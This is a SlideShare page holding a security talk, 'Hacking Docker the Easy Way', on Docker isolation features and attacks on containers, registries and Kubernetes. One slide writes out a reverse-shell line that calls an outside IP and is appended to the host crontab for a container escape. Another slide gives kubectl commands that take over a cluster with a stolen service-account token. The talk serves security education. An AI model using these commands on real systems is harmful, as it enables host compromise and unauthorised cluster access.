SlideShare a Scribd company logo
Hacking Docker
the Easy Way
HELLO!
I am Oritz
A web 🐶 & script 👶
Steam 💖 +1
English is bad
Docker Introduction
» Started in 2013
» Written in Go
» Very active codebase (~ 33,000 commits & 44,000 stars )
» Lots of interest from Big Tech Co’s ( e.g. Google/Microsoft/RedHat/IBM )
» Delivering Containers as a Service ( e.g. AWS/GKE/Azure/Aliyun )
» More quickly and flexibility than traditional virtualization
Container vs VM
Our process is easy
Docker Security
Overview
Hacking Docker Hacking Container
Management Platform
Docker security Overview
Namespaces, Cgroups, Capabilities and more
Namespaces
Control what a process can see
» PID
» Mount
» Network
» UTS
» IPS
» User
Namespaces & Cgroups
Cgroups
Control what a process can use
» Memory
» CPU
» Devices
» Blkio
» Net_prio
» Freezer
» …
Capabilities
Break up the monolithic root privilege
» Useful for commands that need one privilege
» Docker drops all capabilities except those needed
» By default, a container own only 14 of 37 capabilities
» Docker supports the addition and removal of capabilities
» --privileged flag will give extended privileges to the container
Kernel Capabilities
Seccomp
Control the system calls that a
process can make
The default seccomp profile
provides a sane default for
running containers with
seccomp and disables around 44
system calls out of 300+
Seccomp & Kernel Modules
MAC
Give fine grained control to restrict
access to system resources
» AppArmor
» SELinux
» GRSEC
» TOMOYO
» …
“OK, OK, We have known that docker
is secure. But how to hack docker?
Please show us the exploit.”
Hacking Docker
Kernel, Privilege, Daemon and Registry
Am I in A Container?
» ps aux
» cat /proc/self/attr/current
» cat /.dockerenv
» cat /proc/self/cgroup
» mount
» …
Vulnerabilities in Docker images
» Heart Bleed
» Glibc Ghost
» Shell Shock
» SSL Death Alert
» …
Attack surface of Docker
Linux Kernel
Containers share the kernel of the host
DirtyCow
Docker Container Escape PoC
CVE-2016-5195
CaaS Platform
» KVM
» XEN
» Escape From
The Docker
KVM-QEMU
Machine
Docker in Docker
Privileged
What privileged flag do
» Set empty process label
» Warn of incompatibility with user namespaces
» Add all host devices from /dev
» Add device cgroup access rwm allow
» Add all capabilities
» Clear read only flag for /sys mount
» Set read only paths to nil (*specs.Spec).Linux.ReadonlyPaths = nil
» Set masked paths to nil (*specs.Spec).Linux.MaskedPaths = nil
» Clear read only flag for cgroup mount
» Set app armor profile "unconfined"
Have a look at /dev
docker run --privileged
Mount Host directory
Docker Daemon
The docker group grants privileges equivalent to the root user
Docker Swarm
Docker Remote API
docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
Docker Registry
A server side application that stores and lets you distribute Docker images.
Registry Server Unauth
Pull and Push
Download each blob using the API or just run “docker pull xxx.xx/xx”
Hacking Container
Management Platform
Take Kubernetes as an Example
Kubernetes
API Server Ports
API Server Unauth
myapp.yaml
» kubectl create -f myapp.yaml
» kubectl --namespace=default exec -it myapp bash
Escape Docker
» echo -e "* * * * * root bash -i >& /dev/tcp/1.2.3.4/80
0>&1n" >> /mnt/etc/crontab
Service Accounts
Token in Pods
Token in Pods
Hacking Kubernetes
» kubectl config set-cluster pwned --server=https://${public_ip} 
--insecure-skip-tls-verify
» kubectl config set-credentials pwn --token=${serviceacount_token}
» kubectl config set-context pwned --cluster=pwned --user=pwn
» kubectl config use-context pwned
Find 0day in Github issues
There are more interesting problems yet to be solved with docker
How to find next exploit?
Read the official documents carefully and
Focus on the events of developer community
THANKS!
Any questions?
You can find me at
@oritz
https://0x0d.im

More Related Content

PDF
AWS Basics .pdf
PDF
ztna-2-0-report.pdf
PDF
Notes/Domino アプリがそのまま Web ブラウザで動く HCL Nomad Web の簡単な導入と「仕掛け」
PDF
Ad設計
PDF
Redis vs Infinispan | DevNation Tech Talk
PPTX
Introduction to Microsoft IoT Central
PPTX
DFS PPT.pptx
PPTX
Azure architecture
AWS Basics .pdf
ztna-2-0-report.pdf
Notes/Domino アプリがそのまま Web ブラウザで動く HCL Nomad Web の簡単な導入と「仕掛け」
Ad設計
Redis vs Infinispan | DevNation Tech Talk
Introduction to Microsoft IoT Central
DFS PPT.pptx
Azure architecture

What's hot (20)

PPTX
Azureの管理権限について
PPTX
Fleet and elastic agent
PPTX
AWS Cloud Watch
PPTX
Azure kubernetes service
PPTX
Azure Hub spoke v1.0
PDF
Azure ADとIdentity管理
PPTX
Vpc (virtual private cloud)
PPTX
PDF
Understanding Azure AD
PPTX
Windows 2019
PDF
Introduction to Microsoft Azure Cloud
PDF
MS Interact 2019 - Azureサービスで実現するセキュリティ全体像
PPTX
Middleware Technologies ppt
PPTX
Introduction to Microsoft Azure
PPT
Middleware
PPTX
Azure API Management 俺的マニュアル
PDF
Microsoft Azure - Introduction to microsoft's public cloud
PDF
Introduction to Nexus Repository Manager.pdf
PPTX
サポート エンジニアが Azure Networking をじっくりたっぷり語りつくす会
PPTX
Azure Express Route
Azureの管理権限について
Fleet and elastic agent
AWS Cloud Watch
Azure kubernetes service
Azure Hub spoke v1.0
Azure ADとIdentity管理
Vpc (virtual private cloud)
Understanding Azure AD
Windows 2019
Introduction to Microsoft Azure Cloud
MS Interact 2019 - Azureサービスで実現するセキュリティ全体像
Middleware Technologies ppt
Introduction to Microsoft Azure
Middleware
Azure API Management 俺的マニュアル
Microsoft Azure - Introduction to microsoft's public cloud
Introduction to Nexus Repository Manager.pdf
サポート エンジニアが Azure Networking をじっくりたっぷり語りつくす会
Azure Express Route

Similar to Hacking Docker the Easy way (20)

PDF
Unraveling Docker Security: Lessons From a Production Cloud
PDF
Tokyo OpenStack Summit 2015: Unraveling Docker Security
PDF
Docker London: Container Security
PDF
How Secure Is Your Container? ContainerCon Berlin 2016
PPTX
Docker Container Security
ODP
Practical Container Security by Mrunal Patel and Thomas Cameron, Red Hat
PPTX
Docker Decoded : From Basics to Breaches _Rakesh Seal
PDF
Testing Docker Security Linuxlab 2017
PPTX
Docker Security
PDF
Demystifying Container Escapes
PDF
Demystifying Container Escapes
PDF
Containers & Security
PPTX
Docker Security and Orchestration for DevSecOps wins
PPTX
Lessons from running potentially malicious code inside Docker containers
PDF
Start your container journey safely
PDF
Docker security 101 (CfgMgmtCamp 2019)
PDF
Testing Docker Images Security -NcN edition
PDF
Docker Security in Production Overview
PDF
Security on a Container Platform
PPTX
How Secure Are Docker Containers?
Unraveling Docker Security: Lessons From a Production Cloud
Tokyo OpenStack Summit 2015: Unraveling Docker Security
Docker London: Container Security
How Secure Is Your Container? ContainerCon Berlin 2016
Docker Container Security
Practical Container Security by Mrunal Patel and Thomas Cameron, Red Hat
Docker Decoded : From Basics to Breaches _Rakesh Seal
Testing Docker Security Linuxlab 2017
Docker Security
Demystifying Container Escapes
Demystifying Container Escapes
Containers & Security
Docker Security and Orchestration for DevSecOps wins
Lessons from running potentially malicious code inside Docker containers
Start your container journey safely
Docker security 101 (CfgMgmtCamp 2019)
Testing Docker Images Security -NcN edition
Docker Security in Production Overview
Security on a Container Platform
How Secure Are Docker Containers?

Recently uploaded (20)

PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Machine learning based COVID-19 study performance prediction
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Encapsulation theory and applications.pdf
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Approach and Philosophy of On baking technology
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Empathic Computing: Creating Shared Understanding
PPTX
Cloud computing and distributed systems.
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Machine learning based COVID-19 study performance prediction
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Encapsulation theory and applications.pdf
Dropbox Q2 2025 Financial Results & Investor Presentation
Review of recent advances in non-invasive hemoglobin estimation
NewMind AI Monthly Chronicles - July 2025
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Spectral efficient network and resource selection model in 5G networks
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Approach and Philosophy of On baking technology
Understanding_Digital_Forensics_Presentation.pptx
Empathic Computing: Creating Shared Understanding
Cloud computing and distributed systems.
Bridging biosciences and deep learning for revolutionary discoveries: a compr...

Hacking Docker the Easy way